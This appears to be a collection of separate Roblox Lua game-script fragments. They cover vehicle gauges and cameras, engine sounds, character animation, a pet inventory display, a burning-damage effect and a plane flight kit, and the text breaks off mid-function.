local userHasClickToMoveEnabled = GameSettings.ComputerMovementMode == Enum.ComputerMovementMode.ClickToMove
local MouseLockAvailable = devAllowsMouseLock and userHasMouseLockModeEnabled and not userHasClickToMoveEnabled and not devMovementModeIsScriptable
if MouseLockAvailable~=self.enabled then
self:EnableMouseLock(MouseLockAvailable)
end
end
function MouseLockController:OnBoundKeysObjectChanged(newValue)
self.boundKeys = {} -- Overriding defaults, note: possibly with nothing at all if boundKeysObj.Value is "" or contains invalid values
for token in string.gmatch(newValue,"[^%s,]+") do
for _, keyEnum in pairs(Enum.KeyCode:GetEnumItems()) do
if token == keyEnum.Name then
self.boundKeys[#self.boundKeys+1] = keyEnum
break
end
end
end
self:UnbindContextActions()
self:BindContextActions()
end
|
--Scripted by DermonDarble
|
local character = script.Parent.Parent
local humanoid = character:WaitForChild("Humanoid")
local seat = character:WaitForChild("Seat")
local occupant = seat.Occupant
script.Parent.Parent.Seat.Changed:connect(function(property)
if seat.Occupant ~= occupant then
occupant = seat.Occupant
if occupant then
local player = game.Players:GetPlayerFromCharacter(occupant.Parent)
if player then
local localControlScript = script.LocalControlScript:Clone()
localControlScript.Horse.Value = character
localControlScript.Parent = player.PlayerGui
localControlScript.Disabled = false
end
end
end
end)
|
-----------------------------------------------------------
----------------------- STATIC DATA -----------------------
-----------------------------------------------------------
|
local RunService = game:GetService("RunService")
local Workspace = game:GetService("Workspace")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Modules = ReplicatedStorage:WaitForChild("Modules")
local DamageModule = require(Modules.DamageModule)
local Utilities = require(Modules.Utilities)
local Signal = Utilities.Signal
local table = Utilities.Table
local Thread = Utilities.Thread
local TargetEvent
if RunService:IsClient() then
TargetEvent = RunService.RenderStepped
else
TargetEvent = RunService.Heartbeat
end
local Projectiles = {}
local RemoveList = {}
|
-- Text Tools
|
local Equipped = 0
for i,v in pairs(Pets:GetChildren()) do
if v.Equipped.Value == true then
Equipped = Equipped + 1
end
end
Data.MaxStorage:GetPropertyChangedSignal("Value"):Connect(function()
StorageText.Text = #Pets:GetChildren() .. "/" .. Data.MaxStorage.Value
end)
Data.MaxEquip:GetPropertyChangedSignal("Value"):Connect(function()
EquippedText.Text = Equipped .. "/" .. Data.MaxEquip.Value
end)
StorageText.Text = #Pets:GetChildren() .. "/" .. Data.MaxStorage.Value
EquippedText.Text = Equipped .. "/" .. Data.MaxEquip.Value
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local car = script.Parent.Car.Value
local cam = workspace.CurrentCamera
local RS = game:GetService("RunService")
car.DriveSeat.ChildRemoved:connect(function(child)
if child.Name=="SeatWeld" then
RS:UnbindFromRenderStep("MCam")
cam.CameraType = Enum.CameraType.Custom
end
end)
script.Parent.Values.MouseSteerOn.Changed:connect(function(property)
if script.Parent.Values.MouseSteerOn.Value then
RS:BindToRenderStep("MCam",Enum.RenderPriority.Camera.Value,function()
cam.CameraType = Enum.CameraType.Scriptable
local pspeed = math.min(1,car.DriveSeat.Velocity.Magnitude/500)
local cc = car.DriveSeat.Position+Vector3.new(0,8+(pspeed*2),0)-(car.DriveSeat.CFrame.lookVector*17)+(car.DriveSeat.Velocity.Unit*-7*pspeed)
cam.CoordinateFrame = CFrame.new(cc,car.DriveSeat.Position)
end)
else
RS:UnbindFromRenderStep("MCam")
cam.CameraType = Enum.CameraType.Custom
end
end)
|
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
-- STATE CHANGE HANDLERS
|
function onRunning(speed)
local movedDuringEmote =
userEmoteToRunThresholdChange and currentlyPlayingEmote and Humanoid.MoveDirection == Vector3.new(0, 0, 0)
local speedThreshold = movedDuringEmote and Humanoid.WalkSpeed or 0.75
if speed > speedThreshold then
local scale = 16.0
playAnimation("walk", 0.2, Humanoid)
setAnimationSpeed(speed / scale)
pose = "Running"
else
if emoteNames[currentAnim] == nil and not currentlyPlayingEmote then
playAnimation("idle", 0.2, Humanoid)
pose = "Standing"
end
end
end
function onDied()
pose = "Dead"
end
function onJumping()
playAnimation("jump", 0.1, Humanoid)
jumpAnimTime = jumpAnimDuration
pose = "Jumping"
end
function onClimbing(speed)
local scale = 5.0
playAnimation("climb", 0.1, Humanoid)
setAnimationSpeed(speed / scale)
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
if (jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
end
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
|
--Call a vote every x seconds
|
while wait(Rules:GetRule("Vote Interval")) do
CallVote(Rules:GenerateVote())
end
|
--Made by Luckymaxer
|
Players = game:GetService("Players")
Debris = game:GetService("Debris")
RbxUtility = LoadLibrary("RbxUtility")
Create = RbxUtility.Create
Character = script.Parent
Humanoid = Character:FindFirstChild("Humanoid")
Player = Players:GetPlayerFromCharacter(Character)
Fire = script:WaitForChild("Fire")
Creator = script:FindFirstChild("Creator")
Removing = false
Flames = {}
function DestroyScript()
if Removing then
return
end
Removing = true
if Humanoid then
Humanoid.WalkSpeed = 16
end
for i, v in pairs(Flames) do
v.Enabled = false
Debris:AddItem(v, 2)
end
Debris:AddItem(script, 1)
end
function IsTeamMate(Player1, Player2)
return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Create("ObjectValue"){
Name = "creator",
Value = player,
}
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function GetCreator()
return (((Creator and Creator.Value and Creator.Value.Parent and Creator.Value:IsA("Player")) and Creator.Value) or nil)
end
CreatorPlayer = GetCreator()
if not Humanoid or Humanoid.Health == 0 or not CreatorPlayer then
DestroyScript()
return
end
Humanoid.WalkSpeed = 8
for i, v in pairs(Character:GetChildren()) do
if v:IsA("BasePart") then
local Flame = Fire:Clone()
Flame.Enabled = true
table.insert(Flames, Flame)
Flame.Parent = v
end
end
for i = 1, 5 do
wait(1.5)
if not Player or (Player and not IsTeamMate(Player, CreatorPlayer)) then
UntagHumanoid(Humanoid)
TagHumanoid(Humanoid, Player)
Humanoid:TakeDamage(5)
end
end
DestroyScript()
|
--RPM lights
|
local BeginRPM = 2500
local MaxRPM = 9000
|
--Automatic Gauge Scaling
|
if autoscaling then
local Drive={}
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("FL")~= nil then
table.insert(Drive,car.Wheels.FL)
end
if car.Wheels:FindFirstChild("FR")~= nil then
table.insert(Drive,car.Wheels.FR)
end
if car.Wheels:FindFirstChild("F")~= nil then
table.insert(Drive,car.Wheels.F)
end
end
if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("RL")~= nil then
table.insert(Drive,car.Wheels.RL)
end
if car.Wheels:FindFirstChild("RR")~= nil then
table.insert(Drive,car.Wheels.RR)
end
if car.Wheels:FindFirstChild("R")~= nil then
table.insert(Drive,car.Wheels.R)
end
end
local wDia = 0
for i,v in pairs(Drive) do
if v.Size.x>wDia then wDia = v.Size.x end
end
Drive = nil
for i,v in pairs(UNITS) do
v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)
v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20)
end
end
for i=0,revEnd*2 do
local ln = script.Parent.ln:clone()
ln.Parent = script.Parent.Tach
ln.Rotation = 45 + i * 225 / (revEnd*2)
ln.Num.Text = i/2
ln.Num.Rotation = -ln.Rotation
if i*500>=math.floor(_pRPM/500)*500 then
ln.Frame.BackgroundColor3 = Color3.new(1,0,0)
if i<revEnd*2 then
ln2 = ln:clone()
ln2.Parent = script.Parent.Tach
ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2)
ln2.Num:Destroy()
ln2.Visible=true
end
end
if i%2==0 then
ln.Frame.Size = UDim2.new(0,3,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
ln.Num.Visible = true
else
ln.Num:Destroy()
end
ln.Visible=true
end
local lns = Instance.new("Frame",script.Parent.Speedo)
lns.Name = "lns"
lns.BackgroundTransparency = 1
lns.BorderSizePixel = 0
lns.Size = UDim2.new(0,0,0,0)
for i=1,90 do
local ln = script.Parent.ln:clone()
ln.Parent = lns
ln.Rotation = 70 + 130*(i/90)
if i%2==0 then
ln.Frame.Size = UDim2.new(0,2,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,150)
else
ln.Frame.Position = UDim2.new(0,-1,0,150)
end
ln.Num:Destroy()
ln.Visible=true
end
for i,v in pairs(UNITS) do
local lnn = Instance.new("Frame",script.Parent.Speedo)
lnn.BackgroundTransparency = 1
lnn.BorderSizePixel = 0
lnn.Size = UDim2.new(0,0,0,0)
lnn.Name = v.units
if i~= 1 then lnn.Visible=false end
for i=0,v.maxSpeed,v.spInc do
local ln = script.Parent.ln:clone()
ln.Parent = lnn
ln.Rotation = 70 + 130*(i/v.maxSpeed)
ln.Num.Position = UDim2.new(0,0,100,175)
ln.Num.Text = i
ln.Num.TextSize = 20
ln.Num.Rotation = -ln.Rotation
ln.Frame:Destroy()
ln.Num.Visible=true
ln.Visible=true
end
end
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
script.Parent.Parent.IsOn.Changed:connect(function()
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
script.Parent.Parent.Values.RPM.Changed:connect(function()
script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000))
end)
script.Parent.Parent.Values.Gear.Changed:connect(function()
local gearText = script.Parent.Parent.Values.Gear.Value
if gearText == 0 then gearText = "N"
elseif gearText == -1 then gearText = "R"
end
script.Parent.Gear.Text = gearText
end)
script.Parent.Parent.Values.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCS.Value then
script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.TCSActive.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = true
script.Parent.TCS.TextColor3 = Color3.new(1,0,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.Parent.Values.TCSActive.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
end
else
if script.Parent.TCS.Visible then
script.Parent.TCS.Visible = false
end
end
end)
script.Parent.Parent.Values.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABS.Value then
script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.ABSActive.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = true
script.Parent.ABS.TextColor3 = Color3.new(1,0,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.Parent.Values.ABSActive.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
end
else
if script.Parent.ABS.Visible then
script.Parent.ABS.Visible = false
end
end
end)
function PBrake()
script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value
end
script.Parent.Parent.Values.PBrake.Changed:connect(PBrake)
function Gear()
if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
script.Parent.TMode.Text = "A/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then
script.Parent.TMode.Text = "S/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
else
script.Parent.TMode.Text = "M/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
end
end
script.Parent.Parent.Values.TransmissionMode.Changed:connect(Gear)
script.Parent.Parent.Values.Velocity.Changed:connect(function(property)
script.Parent.Speedo.Needle.Rotation = 70 + 130 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
script.Parent.Speed.MouseButton1Click:connect(function()
if currentUnits==#UNITS then
currentUnits = 1
else
currentUnits = currentUnits+1
end
for i,v in pairs(script.Parent.Speedo:GetChildren()) do
v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
end
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
wait(.1)
Gear()
PBrake()
|
-- Editable Values
|
local ExhaustId = 5937167081
local EngineId = 6002661882
local IdleId = 5226685480
local RedlineId = 5070456793
local ExhaustVol = .5
local ExhaustRollOffMax = 1000
local ExhaustRollOffMin = 10
local ExhaustVolMult = 1.05
local EngineVol = .05
local EngineRollOffMax = 1000
local EngineRollOffMin = 15
local EngineVolMult = 1.25
local IdleVol = 1
local IdleRollOffMax = 1000
local IdleRollOffMin = 5
local IdleRPMScale = 1500
local RedlineVol = .5
local RedlineRollOffMax = 1000
local RedlineRollOffMin = 5
local ExhaustPitch = .3
local EnginePitch = .5
local ExhaustRev = 1
local EngineRev = .8
local ExhaustEqualizer = {0,4,6}
local EngineEqualizer = {0,4,6}
local ExhaustDecelEqualizer = {-25,0,5}
local EngineDecelEqualizer = {-25,0,5}
local ThrottleVolMult = .5
local ThrottlePitchMult = .1
local ExhaustDistortion = .0
local ExhaustRevDistortion = .3
local EngineDistortion = .2
local EngineRevDistortion = .5
local FE=true
|
-- services
|
local TweenService = game:GetService("TweenService")
local Workspace = game:GetService("Workspace")
local Debris = game:GetService("Debris")
|
-- Omit colon and one or more spaces, so can call getLabelPrinter.
|
local EXPECTED_LABEL = "Expected"
local RECEIVED_LABEL = "Received"
local EXPECTED_VALUE_LABEL = "Expected value"
local RECEIVED_VALUE_LABEL = "Received value"
|
--------END LIGHTED RECTANGLES--------
--------SIDE DOOR--------
|
game.Workspace.rightsidedoor.l1.BrickColor = BrickColor.new(194)
game.Workspace.rightsidedoor.l2.BrickColor = BrickColor.new(194)
game.Workspace.rightsidedoor.l3.BrickColor = BrickColor.new(194)
game.Workspace.rightsidedoor.l4.BrickColor = BrickColor.new(194)
game.Workspace.rightsidedoor.l5.BrickColor = BrickColor.new(194)
|
--Automatic Gauge Scaling
|
if autoscaling then
local Drive={}
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("FL")~= nil then
table.insert(Drive,car.Wheels.FL)
end
if car.Wheels:FindFirstChild("FR")~= nil then
table.insert(Drive,car.Wheels.FR)
end
if car.Wheels:FindFirstChild("F")~= nil then
table.insert(Drive,car.Wheels.F)
end
end
if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("RL")~= nil then
table.insert(Drive,car.Wheels.RL)
end
if car.Wheels:FindFirstChild("RR")~= nil then
table.insert(Drive,car.Wheels.RR)
end
if car.Wheels:FindFirstChild("R")~= nil then
table.insert(Drive,car.Wheels.R)
end
end
local wDia = 0
for i,v in pairs(Drive) do
if v.Size.x>wDia then wDia = v.Size.x end
end
Drive = nil
for i,v in pairs(UNITS) do
v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)
v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20)
end
end
local lns = Instance.new("Frame",script.Parent.Speedo)
lns.Name = "lns"
lns.BackgroundTransparency = 1
lns.BorderSizePixel = 0
lns.Size = UDim2.new(0,0,0,0)
for i=1,90 do
local ln = script.Parent.ln:clone()
ln.Parent = lns
ln.Rotation = 45 + 225*(i/90)
if i%2==0 then
ln.Frame.Size = UDim2.new(0,2,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
else
ln.Frame.Size = UDim2.new(0,3,0,5)
end
ln.Num:Destroy()
ln.Visible=false
end
for i,v in pairs(UNITS) do
local lnn = Instance.new("Frame",script.Parent.Speedo)
lnn.BackgroundTransparency = 1
lnn.BorderSizePixel = 0
lnn.Size = UDim2.new(0,0,0,0)
lnn.Name = v.units
if i~= 1 then lnn.Visible=false end
for i=0,v.maxSpeed,v.spInc do
local ln = script.Parent.ln:clone()
ln.Parent = lnn
ln.Rotation = 45 + 225*(i/v.maxSpeed)
ln.Num.Text = i
ln.Num.TextSize = 14
ln.Num.Rotation = -ln.Rotation
ln.Frame:Destroy()
ln.Num.Visible=true
ln.Visible=false
end
end
script.Parent.Parent.Values.Gear.Changed:connect(function()
local gearText = script.Parent.Parent.Values.Gear.Value
if gearText == 0 then gearText = "N" end
if gearText == -1 then gearText = "R" end
script.Parent.Gear.Text = "Gear : "..gearText.." / 6"
end)
local UIS = game:GetService("UserInputService")
L = false
UIS.InputBegan:connect(function(i,GP) if not GP then if i.KeyCode == Enum.KeyCode.Z then
if L == false then
script.Parent.Left.ImageColor3 = Color3.fromRGB(142, 255, 169)
L = true
else
script.Parent.Left.ImageColor3 = Color3.fromRGB(255,255,255)
L = false
end
end end end)
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 274 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6500 -- Use sliders to manipulate values
Tune.Redline = 8000 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 6500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 100 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--NOTE: Keys must be lowercase, values must evaluate to true
| |
-- Reset the rotation:
|
function CamLock.ResetRotation()
SetRotation(0, 0)
end
|
-- Keep current player updated in tool mode
|
if ToolMode == 'Tool' then
-- Set current player if in backpack
if Tool.Parent and Tool.Parent:IsA 'Backpack' then
Player = Tool.Parent.Parent;
-- Set current player if in character
elseif Tool.Parent and Tool.Parent:IsA 'Model' then
Player = Players:GetPlayerFromCharacter(Tool.Parent);
-- Clear `Player` if not in possession of a player
else
Player = nil;
end;
-- Stay updated with latest player operating the tool
Tool.AncestryChanged:Connect(function (Child, Parent)
-- Ensure tool's parent changed
if Child ~= Tool then
return;
end;
-- Set `Player` to player of the backpack the tool is in
if Parent and Parent:IsA 'Backpack' then
Player = Parent.Parent;
-- Set `Player` to player of the character holding the tool
elseif Parent and Parent:IsA 'Model' then
Player = Players:GetPlayerFromCharacter(Parent);
-- Clear `Player` if tool is not parented to a player
else
Player = nil;
end;
end);
end;
|
-- Welcome to the variable museum:
|
local player = script.Parent.Parent.Parent
local plane,mainParts,info,main,move,gryo,seat,landingGear,accel,canCrash,crashForce,crashSpin,crashVisual,maxBank,maxSpeed,speedVary,stallSpeed,throttleInc,altRestrict,altMin,altMax,altSet
local desiredSpeed,currentSpeed,realSpeed = 0,0,0
local mouseSave
local gearParts = {}
local selected,flying,on,dead,gear,throttle = false,false,false,false,true,0
local gui = script.Parent.PlaneGui:clone()
local panel = gui.Panel
local lowestPoint = 0
local A = math.abs -- Creating a shortcut for the function
local keys = {
engine={key};
landing={key};
spdup={byte=0;down=false};
spddwn={byte=0;down=false};
}
function waitFor(parent,array) -- Backup system to wait for objects to 'load'
if (array) then
for _,name in pairs(array) do
while (not parent:findFirstChild(name)) do wait() end -- If the object is found right away, no time will be spent waiting. That's why 'while' loops work better than 'repeat' in this case
end
elseif (parent:IsA("ObjectValue")) then
while (not parent.Value) do wait() end
end
end
function fixVars() -- Correct your mistakes to make sure the plane still flies correctly!
maxBank = (maxBank < -90 and -90 or maxBank > 90 and 90 or maxBank)
throttleInc = (throttleInc < 0.01 and 0.01 or throttleInc > 1 and 1 or throttleInc)
stallSpeed = (stallSpeed > maxSpeed and maxSpeed or stallSpeed)
accel = (accel < 0.01 and 0.01 or accel > maxSpeed and maxSpeed or accel)
altMax = ((altMax-100) < altMin and (altMin+100) or altMax)
altMax = (altSet and (altMax+main.Position.y) or altMax)
altMin = (altSet and (altMin+main.Position.y) or altMin)
keys.engine.key = (keys.engine.key == "" and "e" or keys.engine.key)
keys.landing.key = (keys.landing.key == "" and "g" or keys.landing.key)
keys.spdup.byte = (keys.spdup.byte == 0 and 17 or keys.spdup.byte)
keys.spddwn.byte = (keys.spddwn.byte == 0 and 18 or keys.spddwn.byte)
end
function getVars() -- Since this plane kit is supposed to make you avoid scripting altogether, I have to go the extra mile and write a messy function to account for all those object variables
plane = script.Parent.Plane.Value
waitFor(plane,{"MainParts","OtherParts","EDIT_THESE","Dead"})
mainParts,info = plane.MainParts,plane.EDIT_THESE
waitFor(mainParts,{"Main","MainSeat","LandingGear"})
main,seat,landingGear = mainParts.Main,mainParts.MainSeat,mainParts.LandingGear
waitFor(main,{"Move","Gyro"})
move,gyro = main.Move,main.Gyro
accel,canCrash,crashForce,crashSpin,crashVisual,maxBank,maxSpeed,speedVary,stallSpeed,throttleInc,altRestrict,altMin,altMax,altSet = -- Quickest way to assign tons of variables
A(info.Acceleration.Value),info.CanCrash.Value,A(info.CanCrash.Force.Value),info.CanCrash.SpinSpeed.Value,info.CanCrash.VisualFX.Value,
info.MaxBank.Value,A(info.MaxSpeed.Value),A(info.SpeedDifferential.Value),A(info.StallSpeed.Value),A(info.ThrottleIncrease.Value),
info.AltitudeRestrictions.Value,info.AltitudeRestrictions.MinAltitude.Value,info.AltitudeRestrictions.MaxAltitude.Value,info.AltitudeRestrictions.SetByOrigin.Value
keys.engine.key = info.Hotkeys.Engine.Value:gmatch("%a")():lower()
keys.landing.key = info.Hotkeys.LandingGear.Value:gmatch("%a")():lower()
local sU,sD = info.Hotkeys.SpeedUp.Value:lower(),info.Hotkeys.SpeedDown.Value:lower()
keys.spdup.byte = (sU == "arrowkeyup" and 17 or sU == "arrowkeydown" and 18 or sU:gmatch("%a")():byte()) -- Ternary operations use logical figures to avoid 'if' statements
keys.spddwn.byte = (sD == "arrowkeyup" and 17 or sD == "arrowkeydown" and 18 or sD:gmatch("%a")():byte())
fixVars()
plane.Dead.Changed:connect(function()
if ((plane.Dead.Value) and (not dead)) then -- DIE!
dead,flying,on = true,false,false
main.Fire.Enabled,main.Smoke.Enabled = info.CanCrash.VisualFX.Value,info.CanCrash.VisualFX.Value
move.maxForce = Vector3.new(0,0,0)
gyro.D = 1e3
while ((selected) and (not plane.Dead.Stop.Value)) do
gyro.cframe = (gyro.cframe*CFrame.Angles(0,0,math.rad(crashSpin)))
wait()
end
end
end)
end
function getGear(parent) -- Very common way to scan through every descendant of a model:
for _,v in pairs(parent:GetChildren()) do
if (v:IsA("BasePart")) then
local t,r,c = Instance.new("NumberValue",v),Instance.new("NumberValue",v),Instance.new("BoolValue",v) -- Saving original properties
t.Name,r.Name,c.Name = "Trans","Ref","Collide"
t.Value,r.Value,c.Value = v.Transparency,v.Reflectance,v.CanCollide
table.insert(gearParts,v)
end
getGear(v)
end
end
function getLowestPoint() -- Plane will use LowestPoint to determine where to look to make sure the plane is either flying or on the ground
if (#gearParts == 0) then
lowestPoint = (main.Position.y+5+(main.Size.y/2))
return
end
for _,v in pairs(gearParts) do -- Not very efficient, but it basically does what I designed it to do:
local _0 = (main.Position.y-(v.CFrame*CFrame.new((v.Size.x/2),0,0)).y)
local _1 = (main.Position.y-(v.CFrame*CFrame.new(-(v.Size.x/2),0,0)).y)
local _2 = (main.Position.y-(v.CFrame*CFrame.new(0,(v.Size.y/2),0)).y)
local _3 = (main.Position.y-(v.CFrame*CFrame.new(0,-(v.Size.y/2),0)).y)
local _4 = (main.Position.y-(v.CFrame*CFrame.new(0,0,(v.Size.z/2))).y)
local _5 = (main.Position.y-(v.CFrame*CFrame.new(0,0,-(v.Size.z/2))).y)
local n = (math.max(_0,_1,_2,_3,_4,_5)+5)
lowestPoint = (n > lowestPoint and n or lowestPoint)
end
end
function guiSetup() -- Setting up the GUI buttons and such
local cur = 0
panel.Controls.Position = UDim2.new(0,-8,0,-(panel.Controls.AbsolutePosition.y+panel.Controls.AbsoluteSize.y))
panel.ControlsButton.MouseButton1Click:connect(function()
cur = (cur == 0 and 1 or 0)
if (cur == 0) then
panel.Controls:TweenPosition(UDim2.new(0,-8,0,-(panel.Controls.AbsolutePosition.y+panel.Controls.AbsoluteSize.y)),"In","Sine",0.35)
else
panel.Controls.Visible = true
panel.Controls:TweenPosition(UDim2.new(0,-8,1,32),"Out","Back",0.5)
end
end)
panel.Controls.c1.Value.Text = (keys.engine.key:upper() .. " Key")
panel.Controls.c2.Value.Text = (keys.spdup.byte == 17 and "UP Arrow Key" or keys.spdup.byte == 18 and "DOWN Arrow Key" or (string.char(keys.spdup.byte):upper() .. " Key"))
panel.Controls.c3.Value.Text = (keys.spddwn.byte == 17 and "UP Arrow Key" or keys.spddwn.byte == 18 and "DOWN Arrow Key" or (string.char(keys.spddwn.byte):upper() .. " Key"))
end
waitFor(script.Parent,{"Plane","Deselect0","Deselect1","CurrentSelect"})
waitFor(script.Parent.Plane)
getVars()
getGear(landingGear)
getLowestPoint()
guiSetup()
if (script.Parent.Active) then
script.Parent.Name = "RESELECT"
while (script.Parent.Active) do wait() end
end
script.Parent.Name = "Plane"
function changeGear()
gear = (not gear)
for _,v in pairs(gearParts) do
v.Transparency,v.Reflectance,v.CanCollide = (gear and v.Trans.Value or 1),(gear and v.Ref.Value or 0),(gear and v.Collide.Value or false) -- Learning how to code like this is extremely useful
end
end
function updateGui(taxiing,stalling)
panel.Off.Visible = (not on)
panel.Taxi.Visible,panel.Stall.Visible = taxiing,(not taxiing and stalling)
if ((realSpeed > -10000) and (realSpeed < 10000)) then
panel.Speed.Value.Text = tostring(math.floor(realSpeed+0.5))
end
panel.Altitude.Value.Text = tostring(math.floor(main.Position.y+0.5))
panel.Throttle.Bar.Amount.Size = UDim2.new(throttle,0,1,0)
end
function taxi() -- Check to see if the plane is on the ground or not
return (currentSpeed <= stallSpeed and game.Workspace:findPartOnRay(Ray.new(main.Position,Vector3.new(0,-lowestPoint,0)),plane)) -- Make sure plane is on a surface
end
function stall() -- Originally set as a giant ternary operation, but got WAY too complex, so I decided to break it down for my own sanity
if ((altRestrict) and (main.Position.y > altMax)) then return true end
local diff = ((realSpeed-stallSpeed)/200)
diff = (diff > 0.9 and 0.9 or diff)
local check = { -- Table placed here so I could easily add new 'checks' at ease. If anything in this table is 'true,' then the plane will be considered to be taxiing
(currentSpeed <= stallSpeed);
(main.CFrame.lookVector.y > (realSpeed < stallSpeed and -1 or -diff));
}
for _,c in pairs(check) do
if (not c) then return false end
end
return true
end
function fly(m) -- Main function that controls all of the flying stuff. Very messy.
flying = true
local pos,t = main.Position,time()
local lastStall = false
while ((flying) and (not dead)) do
realSpeed = ((pos-main.Position).magnitude/(time()-t)) -- Calculate "real" speed
pos,t = main.Position,time()
local max = (maxSpeed+(-main.CFrame.lookVector.y*speedVary)) -- Speed variety based on the pitch of the aircraft
desiredSpeed = (max*(on and throttle or 0)) -- Find speed based on throttle
local change = (desiredSpeed > currentSpeed and 1 or -1) -- Decide between accelerating or decelerating
